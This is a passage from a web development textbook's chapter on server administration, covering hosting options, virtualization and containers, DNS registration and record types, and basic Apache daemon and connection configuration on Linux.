following other users is easy. Consider BuddyPress as a starting point.



2. Create a widget to be placed in the sidebar that lists all the people the
logged-in user is following. Your widget will rely on data in the
BuddyPress plugin.

3. Define a custom post type Travel Albums that will replace the simple
posts currently being used for the albums. Add extra fields to the post to
capture, time, date, and location of the album as illustrated in Figure
21.30 . Allow multiple images to be uploaded with the album.



Figure 21.30 Screenshot of
the Travel Album post type
in WordPress

Figure 21.30 Full Alternative Text

4. Convert any posts that should be travel albums into albums by removing
the post and inserting a new Travel Album type post.

Test
1. Test that the social media aspects are working. (Follow/unfollow, for

example.)

2. Try creating a new Travel Album in the WordPress admin interface;
ensure that the saved post shows up in the site.
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22 Web Server Administration and
Virtualization



Chapter Objectives
In this chapter you will learn …

About different web server hosting options

How to configure Apache

About domain and name server configuration

About monitoring and tuning tools to improve website performance

About server and cloud virtualization

Web applications are not installed like traditional software, but rather hosted
on a web server and accessed through the WWW. Although easy-to-use web
server packages are great for development purposes, more attention to the
hardware, software, and web server software must be paid in a live
production environment. In this chapter we will cover practical tools, scripts,
configurations, and processes to make your website run smoothly. From
detailed OS and Apache server configurations through domain registration
and analytics, managing a web server integrates the security topics from
Chapter 18 with system administration, networking, and business knowledge.



22.1 Web Server-Hosting Options
Since you have been working with PHP, you have already worked with some
sort of web server. However, most server tools that simplify matters for
development purposes (like WAMP) gloss over the nitty-gritty details of an
Apache server. In a real-world scenario, you must be aware of advanced
configuration options, ideas, and tools that ensure your server is deployed and
maintained according to established best practices.

The deployment of your website is crucial since your users will be interacting
with a server (host) first and foremost. If your hosting is poor, then no matter
the quality of your code, users will consider your site to be at best slow and
unresponsive, and at worst unavailable. The solution is not always to buy the
best possible hosting (unless money is no object), but rather to choose the
hosting option that provides good service for good value. Understanding the
different types of hosting available to you will help you decide on a class of
service that meets your needs. While all of these solutions will result in a
functioning site, each category of hosting has its benefits and problems.

The three broad categories of web hosting are shared hosting, collocated
hosting, and dedicated hosting. Within each of these categories there are
subcategories, which all together provide you with more than enough choices
to make a selection that works for your situation. This textbook does not
assume that the reader is using a particular style of hosting, but explains some
advanced hosting configuration that requires root access, which is provided in
all hosting environments except simple shared hosting.

22.1.1 Shared Hosting
Shared hosting is renting space for your site on a server that will host many
sites on the same machine as illustrated in Figure 22.1 .



Figure 22.1 Simple shared
hosting, with users having their
own home folder

Figure 22.1 Full Alternative Text

Shared hosting is normally the least expensive, least functional, and most
common type of hosting solution, especially for small websites. This class of
hosting is divided into two categories: simple shared hosting and virtualized
shared hosting.

Simple Shared Hosting
Simple shared hosting is a hosting environment in which clients receive
access to a folder on a web server, but cannot increase their privileges to
configure any part of the operating system, web server, or database. Like a



university server where you are given an account and a home folder, it is easy
to get started, since the hard parts are taken care of for you. There is no need
to configure Apache, PHP, or the underlying OS. In fact, you can't change
system-wide preferences even if you wanted to, since that would impact all
the other users!

Simple shared hosting is very much analogous to a condominium in that
resources (like the building, electricity, heat, swimming pool, cable, and
power) are shared between all tenants at a lower cost than a single-family
home could achieve. The condo management team takes care of cutting the
grass, cleaning the common areas, and security so that clients don't have to.
However, there are sometimes restrictions on what you can do (can't paint
door red, hang laundry on patio), and many choices are made for you (like
the cable provider, color of the building, and condo fees).

A shared host, like the condo, also pools resources (like CPU, RAM,
bandwidth, and hard-disk space) and shares them between the tenants. It
manages many aspects of the server (such as security and software updating),
and restricts what tenants can do on the machine (in the name of collective
good). Just like in a condo, a bad neighbor can have a severe impact on your
experience since they can monopolize resources and encourage more
restrictive rules to prevent their bad behavior (which also restricts you).

The disadvantages of simple shared hosting are many. Lack of control, poor
performance, and security threats make shared hosting a bad idea for a
serious website.

Lack of control is not a problem for a static HTML site or a default
WordPress installation. However, if you want to install software on the
server, most shared hosts do not permit it. That means unless the software is
already installed, you must ask politely and hope they say yes (they normally
say no). This inability to install software can also manifest as a missing
service such as no SSH access (remote command-line access) to the server or
no SVN (version control) client. Moreover, you cannot use a particular
version of some software, but rather must use what is installed for everybody.
The choices that are good enough for the majority can often be too
constraining for a custom website. Lack of control can also limit what's
possible to do with your site. For example, if you use a shared IP address,



then you cannot create a reverse DNS entry to validate that the IP address is
really yours, since it actually belongs to hundreds or thousands of sites that
are being hosted on the same server.

Poor performance is a more common problem with shared hosts. Although a
good web server can easily support dozens or maybe a few hundred sites that
are not too busy, some shared hosts serve thousands of sites from a single
machine in the hopes of making a larger profit. Sometimes an intense script
running in another domain on the server can impact the availability of CPU,
RAM, and bandwidth for your site.

Security threats are not uniform across all hosts. The vulnerabilities of one
host may not be present on another, but scanning your host for vulnerabilities
could be considered a threat and may even be illegal. If security is a concern,
simple shared hosting should be avoided.

Note
Many domain registrars promote cheap hosting packages to people who are
registering domains. In addition, anyone with a web server and some know-
how can set up a simple shared hosting company. For this reason many
people may feel that web hosting should cost as little as $1.00 a month. The
truth is more complicated, and a knowledgeable web developer should be
able to articulate the challenge to budget-conscious clients.

Virtualized Shared Hosting
Virtualized shared hosting is a variation on the shared hosting scheme, where
instead of being given a username and a home directory on a shared server,
you are given a virtual server, with root access as shown in Figure 22.2 .



Figure 22.2 Virtualized shared
host, where each user has a
virtual server of their own

Figure 22.2 Full Alternative Text

When a single physical machine is partitioned so that several operating
systems can run on it simultaneously, we call each operating system a virtual
server, which can be configured and controlled as the super-user (root).

Virtualized hosting mitigates many of the disadvantages of simple shared
hosting while maintaining a relatively low cost. Although there are still some
restrictions, there are far fewer of them. Since the server is virtual, you are
usually given the freedom to install and configure every aspect of it.
Virtualization is also useful for “sandbox” environments (i.e., development
environments isolated from production that allow you to test out
configurations), since you can run multiple virtual development machines at



once.

The authors recommend this configuration over simple shared hosting for
most web developers for its relatively low cost, its ability to easily host more
domains for free, and its additional flexibility and security.

22.1.2 Dedicated Hosting
Dedicated hosting is when a physical server is rented to you in its entirety
inside the data center as illustrated in Figure 22.3 . You may recall from
Chapter 1 that data centers are normally geographically located to take
advantage of nearby Internet exchange points and benefit from redundant
connections. The advantage over shared hosting is that you are given a
complete physical machine to control, removing the possible inequity that
can arise when you share the CPU and RAM with other users. Additional
advantages include the ability to choose any operating system.



Figure 22.3 Illustration of a
dedicated server facility

Figure 22.3 Full Alternative Text

Hardware is normally standardized by the hosting center (with a few options
to choose from), and the host takes care of any hardware issues. A burnt-out
hard drive or motherboard, for example, is immediately replaced, rather than
left to you to fix. Although the cost is higher than shared hosting, it allows
you to pay for the costs of server hardware over the duration of your contract
rather than pay for server hardware all up front.

The disadvantage of dedicated hosting is the lack of control over the



hardware, and a restriction on accessing the hardware. While the server
hardware configurations are good for most situations, they might not be
suitable for your particular needs, in which case you might consider
collocated hosting.

22.1.3 Collocated Hosting
Collocated hosting is almost like dedicated hosting, except rather than rent a
machine, you outright purchase, build, and manage the machine yourself. The
data center then takes care of the tricky things like electricity, Internet
connections, fire suppression systems, climate control, and security as
illustrated in Figure 22.3 . In collocated hosting, someone from your
company has physical access to the shared data center, even though most
maintenance is done remotely.

The advantage of collocated hosting goes beyond a dedicated server with not
only full control over the OS, software version, firewalls, and policies but
also the physical machine. You can choose the brand and technical
specifications of every component to get as much out of your hardware as
possible. Unlike dedicated hosting, you alone physically touch your system
and you still benefit from redundant power and network systems, which
increases the availability and integrity of your data. The data center can
afford to maintain industrial-strength systems such as redundant power
supplies, fire suppression, and server rack cooling, which would be beyond
the scope of a middle-sized organization otherwise. In comparison to shared
hosting, in a collocated hosting site, the security systems have to be excellent
(since multiple site owners require access to their physical servers) and often
include biometrics and advanced security tools, since otherwise someone
could physically access your server.

The disadvantage of collocated systems is that you must control everything
yourself, with little to no support from a third party. These data centers are
also costly, since they have to make a profit after paying for the maintenance
of all the advanced systems you benefit from. Unlike dedicated hosting, a
burnt-out hard drive is up to you to fix, and the host will not have drives
ready to insert into every machine in their data center (although that can vary



from company to company).

In-house Hosting
The obvious alternative to collocated hosting is to manage the web server
yourself, entirely in-house as shown in Figure 22.4 . This provides some of
the advantages in terms of control, but has major disadvantages since you
must in essence manage your own data center, which introduces all types of
requirements that you may not have yet considered, and that are difficult to
justify without economies of scale that data centers enjoy.

Figure 22.4 In-house hosting
Figure 22.4 Full Alternative Text

Although hosting a site from your basement or attic may seem appealing at
first, you should be aware that the quality of home Internet connections is
lower than the connections used by data centers, meaning your site may be
less responsive, despite the computing power of a dedicated server.

Ideally, an in-house data center is housed in a secure, climate-controlled
environment, with redundant power and network connectivity as well as fire
detection and suppression systems. In practice, though, many small
companies' in-house data centers are just closets with an air conditioner,



unsecured, and without any redundancies. The savings of hosting everything
in-house can easily evaporate the moment there is an outage of power,
Internet connectivity, or both.

All that being said, many companies do use a low-cost, in-house hosting
environment for development, preproduction, and sandbox environments.
Just be aware that those systems are not as critical as a production server, and
therefore have a lower need for the redundancy provided by a data center.

22.1.4 Cloud Hosting
Cloud hosting is the newest buzzword in shared hosting services. Cloud
hosting leverages a distributed network of computers (cloud), which, in
theory, can adapt quickly in response to user needs. The advantages are
scalability, where more computing and data storage can be accessed as
needed and less computing power can be paid for during slow periods. The
inherent redundancy of a distributed solution also means less downtime, since
failures in one node (server) are immediately distributed to functioning
machines. Since cloud hosting is so closely tied to virtualization
technologies, we will discuss cloud hosting in more detail in the next section
on virtualization.



22.2 Virtualization
One of the many changes in the field of web development since we finished
the manuscript for the first edition of this textbook in 2013 has been the
popular adoption of different virtualization technologies. Broadly speaking,
two forms of virtualization have become important in the web context: server
virtualization and cloud virtualization. Virtualization has decreased the costs
involved in hosting a website as well as increased the ability for site owners
to adjust to changes in demand.

22.2.1 Server Virtualization
We have mentioned various times in this book that real-world websites are
often served from multiple computer server farms. Furthermore, there are
often different types of servers (web servers, data servers, email servers, etc.)
with redundancy needed for each. Even for a web application with modest
request loads (for instance, most intranet applications used only within an
organization), it doesn't take long before there is real server sprawl, that is,
too many underutilized servers devouring too much energy and too much
support time.

Server virtualization technologies help ameliorate this problem. Using special
virtualization software, server virtualization allows an administrator to turn a
single computer into multiple computers, thereby saving on hardware and
energy consumption (see Figure 22.5 ).



Figure 22.5 Multiple servers
versus a virtualized server

Figure 22.5 Full Alternative Text

The special software that makes virtual servers possible is generally referred
to as a hypervisor. A hypervisor emulates different hardware and/or operating
system configurations thereby allowing a single computer to host multiple
virtual machines. There are two types of hypervisor, both with imaginative
names: Type 1 hypervisors and, you guessed it, Type 2 hypervisors.

In a Type 1 hypervisor, there is no local operating system on the host server;
that is, the hypervisor software is loaded directly into the firmware of the
server machine. There are Type 1 hypervisors available from IBM,



Microsoft, and VMware; the open source KVM is also popular. In a Type 2
hypervisor, the hypervisor is just another piece of software that runs on top of
some host operating system. Two of the most popular Type 2 hypervisors are
VMware Fusion and the open-source VirtualBox from Oracle.

Type 1 hypervisors are generally faster because the emulation layer runs just
above the hardware layer of the machine and there isn't an extra host
operating system layer; Type 2 hypervisors are more flexible because the host
machine can run other software besides the hypervisor on the host operating
system. Figure 22.6 illustrates the differences between the two types.

Figure 22.6 Type 1 and Type 2
hypervisors compared

Figure 22.6 Full Alternative Text

Even if you are just a developer, you still may find yourself making use of



server virtualization. Type 2 hypervisors make it easier for development
teams to have the same, consistent development environments as well as a
development environment that more closely approximates (or even exactly
mirrors) the staging or production environments.

Some developers enjoy the process of selecting, installing, configuring, and
updating a development environment; others, such as one of the writers of
this book, do not enjoy it, and prefer focusing on the development workflow.
Environments such as XAMP or easyPHP are especially suited to such
developers as they hide all those configuration and installation details. While
such environments are fine for learning PHP, they are generally too divergent
from any real production environment for them to be an appropriate long-
term development environment for working web developers.

One of the most popular approaches to creating development environments
makes use of server virtualization. For instance, the popular open-source
Vagrant tool works with a Type 2 hypervisor and provides a command-line
interface for sharing and provisioning (that is, configuring) virtual
development machines. For operations personnel, it provides a disposable
environment in which to develop and test deployment environments. For
developers, it provides an easy way to have a consistent development
environment that mimics the production one. Users working on their local
computer with their preferred tools can develop using the same system specs
as other developers, all coordinated by Vagrant managing virtual boxes (see
Figure 22.7 ).



Figure 22.7 Vagrant
Figure 22.7 Full Alternative Text

A team might create a Vagrant “box” that has the operating system, web
server, database management system, programming languages, and other
software installed and configured. This box can then be shared with the rest
of the team thereby ensuring consistency and also saving the other developers
from having to worry about the hassles of administration and configuration.
For students, it is a great sandbox for learning DevOps, and for
experimenting with more exotic software such as load balancers and
automated failover systems. The growing popularity of Vagrant has spawned



a rich ecosystem of boxes available on github and www.vagrantup.com.
Figure 22.8 illustrates how a user might work with Vagrant.

Figure 22.8 Working with
Vagrant

Figure 22.8 Full Alternative Text

Containers

http://www.vagrantup.com


If you examine Figures 22.6 and 22.7, you will see that there are some
potential inefficiencies with the Type 2 hypervisor approach. It is quite
common for web developers to work only within the LAMP stack. In such a
case, having multiple identical operating systems running in multiple virtual
machines is an unnecessary duplication. A lighter-weight alternative to
hypervisors is to make use of something called containers instead. A
container allows a single machine with a single operating system to run
multiple similar server instances. Containers are thus a type of virtualization
that is managed by the Linux operating system; each container acts as if it is
its own unique Linux system but share the same operating system kernel,
thereby being a small, faster alternative to the hypervisor approach (see
Figure 22.9 ).



Figure 22.9 Container-based
virtualization

Figure 22.9 Full Alternative Text

The open-source Docker project has become a very popular method for



deploying applications within these containers. A Docker container is a
“snapshot” of the operating system, applications, and files needed to run a
web application. It is optimized for transportability and can be moved as a
unit between different run-time environments, whether it is a local
development machine, or a machine in the data center, or virtually in the
cloud. The Docker software client and remote registry also provides a
mechanism for discovering and sharing containers.

22.2.2 Cloud Virtualization
The latest trend in virtualization has been the migration of one's own
virtualized servers out to other server infrastructure that belongs to another
organization. Cloud virtualization (sometimes referred to as just cloud
computing) builds on virtualization technology and spreads it horizontally to
multiple computers. That is, it delivers the shared computing resources made
possible via virtualization and turns it into an on-demand service.

The key promise of cloud virtualization is that it enables the on-demand/rapid
provisioning of virtual servers with relatively minimal configuration effort.
Companies thus do not need to invest up front in server infrastructure.
Instead, they can make use of the pay-as-you-use-it model typical of most
cloud service companies. This ends up being especially useful for start-up
companies that are cash poor. Smaller companies can experiment more
quickly and more easily without having to worry about purchasing and
provisioning their server infrastructure.

As well, companies purchasing real server infrastructure have to purchase for
estimated peak loads (in fact, the rule of thumb is to have server capacity able
to handle 15% above estimated peak loads). This is almost always a difficult
predictive task. Over predict the loads by too much and there will be wasted
computer resources (which means wasted money). Under predict the loads,
and the site won't be responsive enough for the users. Cloud computing
promises instead something usually referred to as elastic capacity/computing,
meaning that server capability can scale with demand.

Cloud computing has spread widely and there are a variety of different



service models available, which are usually characterized as one of the
following.

Infrastructure as a Service (IaaS). This is what is being generally
referred to with the term cloud computing. An IaaS company sells
access to their computing infrastructure usually as virtualized servers or
as containers. An IaaS company provides virtualized computing: it can
be used for both web and nonweb reasons.

Platform as a Service (PaaS). This builds on IaaS in that a PaaS
company provides access to a broad platform or environment for
developers that can scale (grow or shrink) based on demand. This type
of cloud computing has become especially important in the web context.

Software as a Service (SaaS). This builds on PaaS and moves commonly
needed (web and nonweb) enterprise software systems such as email,
enterprise resource planning, and customer relationship management
systems onto a cloud-based infrastructure.

In this book, we are interested in Platform as a Service since that is the cloud
service model that is focused on the needs of web developers. While there are
many PaaS providers, this area is dominated by the big three: Amazon Web
Services (AWS), Microsoft Azure, and Google Cloud Platform.

Amazon Web Services is the oldest and most established of these PaaS
providers. Many of the largest and most successful websites from the past
decade make use of AWS. For instance, Netflix, Reddit, Spotify, DropBox,
Airbnb, Pinterest, and even Apple iCloud, all make use of Amazon Web
Services. The scale and scope of AWS is very large, and we could easily
spend an entire chapter on it. It provides IaaS (e.g., storage and database
services and virtualized servers and containers), PaaS, and SaaS.



22.3 Domain and Name Server
Administration
The domain name system (DNS) is the distributed network that resolves
queries for domain names. First covered back in Chapter 2, DNS lets people
use domain names rather than IP addresses, making URLs more intuitive and
easy to remember. Despite its ubiquity in Internet communication, the details
of the DNS system only seem important when you start to administer your
own websites.

Hands-on Exercises Lab 22
Exercise
Register a Domain

The authors suggest going back over the DNS system and registrar
description back in Chapter 2. The details about managing a domain name for
your site require that you understand the parties involved in a DNS resolution
request, as shown in Figure 22.10 .





Figure 22.10 Illustration of the
domain name resolution
process (first shown in Chapter
2)

Figure 22.10 Full Alternative Text

This section builds on an understanding of the DNS system and describes
some of the complexities involved with domain name registration and
administration.

22.3.1 Registering a Domain Name
Registrars are companies that register domain names, on your behalf (the
registrant), under the oversight of ICANN. You only lease the right to use the
name exclusively for a period, and must renew periodically (the maximum
lease is for 10 years). Some popular registrars include GoDaddy, TuCows,
and Network Solutions, where you can expect to pay from $10.00 per year
per domain name.

WHOIS
The registrars are authorized to make changes to the ownership of the
domains with the root name servers, and must collect and maintain your
information in a database of WHOIS records that includes three levels of
contact (registrant, technical, and billing), who are often the same person.
Anyone can try and find out who owns a domain by running the WHOIS
command and reading the output. Since your registration agreement requires
you to provide accurate information to WHOIS (especially the email



addresses), not doing so is grounds for nullifying your lease. Figure 22.11
illustrates the kind of information available to anyone with access to a
command line.

Figure 22.11 Illustration of the
registrant information
available to anyone in the



WHOIS system
Figure 22.11 Full Alternative Text

Private Registration
The information in the WHOIS system is accessible by anyone, and indeed,
putting your email in there will ensure your name begins to appear on spam
lists you never imagined. Not only that, but disclosing your personal
information can be a risk to your own personal security since contact details
include address and phone number.

Hands-on Exercises Lab 22
Exercise
Finding Out Who Owns a Domain

To mitigate those risks, many registrars provide private registration services,
which broker a deal with a private company as an intermediary to register the
domain on your behalf as shown in Figure 22.12 . These third-party
companies use their own contact information in the WHOIS system with the
registrar, keeping your contact information hidden from stalkers, spammers,
and other threats.



Figure 22.12 Illustration of a
private registration through a
third party

Figure 22.12 Full Alternative Text



A private registration company keeps your real contact information on their
own servers because they must know who to contact if the need arises. There
are many reasons for wanting private registration. You should know that
these private registrants will turn your information over to authorities upon
request, so their use is just for keeping regular people from finding out who
owns the domain.

22.3.2 Updating the Name Servers
The single most important thing you do with your registrar is control the
name servers associated with the domain name. Your web host will provide
name servers when you purchase your hosting package. These name servers
have to get registered with the registrar you used when you leased the
domain. This is almost always done through a web interface, although not
always. Although it is possible to maintain your own name servers (BIND is
the most popular open-source tool), it is not recommended unless you have a
site with volumes of traffic that necessitate a dedicated DNS server.

When you update your name server, the registrar, on your behalf, updates
your name server records on the top-level domain (TLD) name servers,
thereby starting the process of updating your domain name for anyone who
types it.

Checking Name Servers
Updating records in DNS may require at least 48 hours to ensure that the
changes have propagated throughout the system. With so long to wait, you
must be able to confirm that the changes are correct before that 48-hour
window, since any mistakes may take an additional 48 hours to correct.
Thankfully, Linux has some helpful command-line tools to facilitate name
server queries such as nslookup and dig.

After updating your name servers with the registrar, it's a good practice to
“dig” on your TLD servers to confirm that the changes have been made. Dig



is a command that lets you ask a particular name server about records of a
particular type for any domain. Figure 22.13 illustrates a couple of usages of
the dig command where different name servers have different values for a
recently updated email record.

Figure 22.13 Annotated usage
of the dig command

Figure 22.13 Full Alternative Text

22.3.3 DNS Record Types
Recall that the name server holds all the records that map a domain name to
an IP address for your website. In practice, all of a domain's records are



stored in a single file called the DNS zone file. This text file contains
mappings between domain names and IP addresses. These records relate to
email, HTTP, and more and go beyond simple IP-to-domain mappings. These
records are propagated to DNS servers around the world and cached, using
the rules supplied within the zone file. The six primary types of records
(A/AAA, CName, MX, NS, SOA, and TXT/SPF) are illustrated in Figure
22.14 .

Figure 22.14 Illustration of a
zone file with A, AAAA,



CName, MX, SOA, and SPF
DNS records

Figure 22.14 Full Alternative Text

Hands-on Exercises Lab 22
Exercise
Checking Name Servers

Mapping Records
A zone file is a simple text file that contains multiple lines; each line contains
a single mapping record. These records can appear in any order.

A records and AAAA records are identical except A records use IPv4
addresses and AAAA records use IPv6. Both of them simply associate a
hostname with an IP address. These are the most common queries, performed
whenever a user requests a domain through a browser.

Canonical Name (CName) records allow you to point multiple subdomains to
an existing A record. This allows you to update all your domains at once by
changing the one A record. However, it doubles the number of queries
required to get resolution for your domain, making A records the preferred
technique.

Mail Records
Mail Exchange (MX) records are the records that provide the location of the



Simple Mail Transfer Protocol (SMTP) servers to receive email for this
domain. Just like the A records, they resolve to an IP address, but unlike the
HTTP protocol, SMTP allows redundant mail servers for load distribution or
backup purposes. To support that feature, MX records not only require an IP
address but also a ranking. When trying to deliver mail, the lowest numbered
servers are tried first, and only if they are down, will the higher ones be used.

Authoritative Records
Name server (NS) records are the essential records that tell everyone what
name servers to use for this domain. Name server records are similar to
CName records in that they point to hostnames and not IP addresses. There
can be (and should be) multiple name servers listed for redundancy.

Start of Authority (SOA) record contains information about how long this
record is valid (called time to live [TTL]), together with a serial number that
gets incremented with each update to help synchronize DNS.

Validation Records
TXT records and Sender Policy Framework (SPF) records are used to reduce
email spam by providing another mechanism to validate your mail servers for
the domain. If you omit this record, then any server can send email as your
domain, which allows flexibility, but also abuse.

SPF records appear as both SPF and TXT records. The value is a string,
enclosed in double quotes (“ ”). Since it originated as a TXT entry (i.e., an
open-ended string DNS record), the later SPF field still uses the string syntax
for reverse compatibility. The string starts with v=spf1 (the version) and uses
space-separated selectors with modifiers to define which machines should be
allowed to send email as this domain.

The selectors are all (any host), A (any IP with A record), IP4/IP6 (address
range), MX (mx record exists), and PTR. Modifiers are + (allow), - (deny),
and ? (neutral). You can write SPF records that allow or deny specific



machines, address ranges, and more as illustrated in Figure 22.15 .

Figure 22.15 Annotated SPF
string for funwebdev.com

Figure 22.15 Full Alternative Text

For a complete specification, check out1 where there are also tools to validate
your SPF records. With email, it's always the receiving server that decides
whether to use SPF to help block spam, so these techniques will not stop all
masquerade emails.

22.3.4 Reverse DNS
You know how DNS works to resolve an IP address given a domain name.
Reverse DNS is the reverse process, whereby you get a domain name from an
IP address. As another technique to validate your email servers, it should be
implemented to reduce spam using your domain name.

The thinking behind reverse DNS is that the dynamic IP addresses assigned
to Internet users have reverse DNS records associated with the ISP and not
any domain name. Since most computers compromised by a virus use this
type of dynamic IP, spam filters can assume mail is spam if the reverse DNS
doesn't match the from: header's domain.

The details of reverse DNS are that a pointer (PTR) record is created with a

http://funwebdev.com


value taking the IP address prepended in reverse order to the domain in-
addr.arpa so the IP address 66.147.244.79 becomes the PTR entry.

funwebdev.com   PTR   79.244.147.66.in-addr.apra

Now, when a mail server wants to determine if a received email is spam or
not, they recreate the in-addr.apra hostname from the IP and resolve it like
any other DNS request based on the domain it claims to be from.

In our example the root name servers can see that the domain 147.66.in-addr
.arpa is within the 66.147.*.* subnet, and refer the lookup to the regional
Internet authority responsible for that subnet. They in turn will know which
Internet service provider, government, or corporation has that subnet and pass
the request on to them. Finally, those corporate DNS servers must either
delegate to your name servers, or include the reverse DNS on your behalf on
their servers for the reverse IP lookup to resolve as desired.



22.4 Linux and Apache
Configuration
You should recall that web server software like Apache is responsible for
handling HTTP requests on your server. Elsewhere in this book, we have
encouraged the use of XAMPP-type software suites, which are easy to deploy
and configure. These suites use Apache, but require little understanding of it
to get working. For production servers, Apache is the most popular web
server on the WWW, as illustrated in Figure 22.16 . This software has been
evolving for decades, constantly improving, adding features, and fixing
security holes. Given that all but the most restrictive hosting options allow
you to configure your server directly, it is well worth your while to
understand what Apache is, and how to control it.

Figure 22.16 Web server
popularity



(data courtesy of BuiltWith.com)

Figure 22.16 Full Alternative Text

There are a lot of potential topics to cover here: connection management,
encryption, compression, caching, multiple sites, and more. While a PHP
developer can create a web application with only minimal knowledge about
Apache, deploying an efficient, secure, and cost-effective site requires an
understanding of its options.

Pro Tip
In some very high-traffic servers, separate server software is used to respond
to all static file requests since it can be configured to run with a smaller
memory footprint than Apache. Nginx is a server designed for exactly this
purpose and can be run alongside Apache (although the details are left to the
reader).

Although Apache can be run in multiple operating systems, this chapter
focuses on administering Apache in a Linux environment. Some
understanding of Linux is therefore essential before moving on in this
section. Mark Sobel's guides to Linux 2, 3 are a good reference point for many
popular distributions.

22.4.1 Configuration
Apache can be configured through two key locations: the root configuration
file and per-directory configuration files.

When Apache is started or restarted, it parses the root configuration file,
which is normally writable by only root users (and is stored in /etc/httpd.conf,
/etc/apache2/httpd.conf, or somewhere similar). The root file may contain
references to other files, which use the same syntax, but allow for more
modular organization with one file per domain or service.

http://BuiltWith.com


In addition to the root file, multiple directory-level configuration files are
permitted. These files can change the behavior of the server without having to
restart Apache. The files are normally named .htaccess (hypertext access),
and they can reside inside any of the public folders served by Apache. The
.htaccess file control can be turned on and off in the root configuration file.

Inside of both types of configuration file, there are numerous directives you
are allowed to make use of, each of which controls a particular aspect of the
server. The directives are keywords whose default values you can override.
You will learn about the most common directives, although a complete listing
is available.4

22.4.2 Daemons
In order to properly start, stop, and use Apache, you must understand what it
means to run as a daemon on Linux. First covered in Chapter 11, a daemon is
software that runs forever in the background of an operating system and
normally provides one simple service. Daemons on Linux include sshd,
httpd, mysqld, as well as many others.

Hands-on Exercises Lab 22
Exercise
Control Apache

To start the Apache daemon from the command line in Linux, the root user
can enter this command:

/etc/init.d/httpd start

The service can be stopped with:

/etc/init.d/httpd stop



Managing Daemons
In a production machine, the httpd daemon (and many others) should be
configured to run whenever the machine boots rather than started from the
command line. This makes life easy for you, so that in the event of a restart,
the web server can immediately start behaving as a web server. You can
check to see what is running on boot by typing:

chkconfig --list

The output (shown in Listing 22.1) will show the daemon name and a run
level 0-6, which we cover below.

Listing 22.1 Output from a
chkconfig listing
…

crond          0:off  1:off  2:on  3:on  4:on  5:on  6:off

denyhosts      0:off  1:off  2:on  3:on  4:on  5:on  6:off

httpd          0:off  1:off  2:on  3:on  4:off 5:on  6:off

ip6tables      0:off  1:off  2:on  3:on  4:on  5:on  6:off

iptables       0:off  1:off  2:on  3:on  4:on  5:on  6:off

…

sshd           0:off  1:off  2:on  3:on  4:on  5:on  6:off

Run Levels
Linux defines multiple “levels” in which the operating system can run, which
correspond to different levels of service. Although the details vary between
distributions they are generally considered to be:

0. Halt (shut down)

1. Single-user mode



2. Multiuser mode, no networking

3. Multiuser mode with networking

4. Unused

5. Multiuser mode with networking and GUI (Windows)

6. Reboot

In practice, we normally consider only two run levels, run level 3 and 5. A
local development box would normally run in level 5 to provide the user with
a graphical user interface. In contrast a production server should be running
in level 3, since the services for a GUI and mouse control waste resources
that should go to the primary task of hosting.

A comprehensive analysis of what's running will help improve performance
since running only what you need will free up memory and CPU cycles for
the services you do need. You can search for each service that is running and
determine if you are using it.

Since many services are needed on all levels, you can easily turn on the
Apache daemon for levels 2, 3, 4, and 5 at boot by typing the command:

chkconfig httpd on

Similarly, to turn off an FTP service one can type the command:

chkconfig ftpd off

Applying Configuration Changes
It's important to know that every time you make a change to a configuration
file, you must restart the daemon in order for the changes to take effect. This
is done with

/etc/init.d/httpd restart



If the new configuration was successful, you will see the service start with an
OK message (or on some systems, no message at all). If there was a
configuration error, the server will not start, and an error message will
indicate where to look. If you restart the server and an error does occur, you
are in trouble because the server is down until the error can be corrected and
the server restarted! For that reason you should always check your
configuration before restarting to make sure you have no downtime with the
command:

/etc/init.d/httpd configtest

This command will literally output Syntax OK if everything is in order and an
error message otherwise.

22.4.3 Connection Management
Using the netstat -t command shows which daemons are running and
listening to network ports as shown in the sample output in Listing 22.2 with
mysqld, sshd, sendmail, and httpd daemons.

Listing 22.2 Sample output from a
netstat command
[root@funwebdev rhoar]#  netstat -t 

Active Internet connections (only servers) 

Proto Recv-Q Send-Q Local Address  Foreign Address  State   PID/   

Program name     

tcp   0      0    *:3306       *:*           LISTEN  1875/mysqld      

tcp   0      0    *:22         *:*           LISTEN  1751/sshd 

tcp   0      0    localhost:25 *:*           LISTEN  1905/sendmail 

tcp   0      0    *:80         *:*           LISTEN  3311/httpd

In addition to being aware of which services are listening in general, you can
manage numerous configuration options related to the number and type of
connections for Apache. Back in Chapter 11 you saw how Apache can run



with multiple processes, each one with multiple threads. With the ability to
keep an HTTP connection open in each thread between requests, a server can
perform more efficiently by, for instance, serving all the images in a page
using the same connection as shown in Figure 22.17 .

Figure 22.17 Illustration of a
reused connection in Apache

Figure 22.17 Full Alternative Text

These options permit a detailed tuning of your server for various loads using



configuration directives stored in the root configuration file and directory-
level configuration files. Although the defaults will suffice while you are
developing applications, those values should be thoughtfully set and tested
when readying a production web server. Some of the important directives are:

Timeout defines how long, in seconds, the server waits for receipts from
the client (remember, delivery is guaranteed). By default this value is set
to 300 seconds, which could be too long in high-traffic sites since the
open connections take resources that could go toward serving new
requests.

KeepAlive is a Boolean value that tells Apache whether or not to allow
more than one request per connection. By default it is false (meaning
one request per connection). Allowing multiple requests from the same
client to be served by the same connection saves resources by not having
to spawn a new connection for each request. However, a single client
could theoretically spawn an inordinate number of threads, taking over
the server and making it unresponsive for others. The next two
directives help mitigate that risk.

MaxKeepAliveRequests sets how many requests to allow per persistent
connection. After a client makes this number of requests, the connection
is closed and a new connection must be established. If the value is too
high, a client could stay connected forever; if too low, you lose the
benefit of keeping a connection alive.

KeepAliveTimeout tells the server how long to keep a connection alive
between requests. Since serving multiple assets for the same page should
be done very quickly, a default value of 15 seconds works in most
situations and allows for multiple clicks to be processed in the same
connection.

Additional directives like StartServers, MaxClients,
MaxRequestsPerChild, and ThreadsPerChild provide additional control over
the number of threads, processes, and connections per thread. An in-depth
analysis of performance tuning can be found,5 but using these basic directives
along with compression and data caching will help you get to a good start on
server optimization.



Ports
A web server responds to HTTP requests. In Apache terminology, the server
is said to listen for requests on specific ports. As you saw back in Chapter 1,
the various TCP/IP protocols are assigned port numbers. For instance, the
FTP protocol is assigned port 21, while the HTTP protocol is assigned port
80. As a consequence, all web servers are expected to listen for TCP/IP
connections originating on port 80, although a web server can be configured
to listen for connections on different, or additional, ports.

In Apache, the Listen directive tells the server which IP/Port combinations
to listen on. A directive (stored in the root configuration file) to listen to
nonstandard port 8080 on all IP addresses would look like:

Listen 8080

When combined with VirtualHosts directives, the Listen command can
allow you to have different websites running on the same domain with
different port numbers, so you could, for example, have a development site
running alongside the live site, but only accessible to those who type the port
number in the URL.

22.4.4 Data Compression
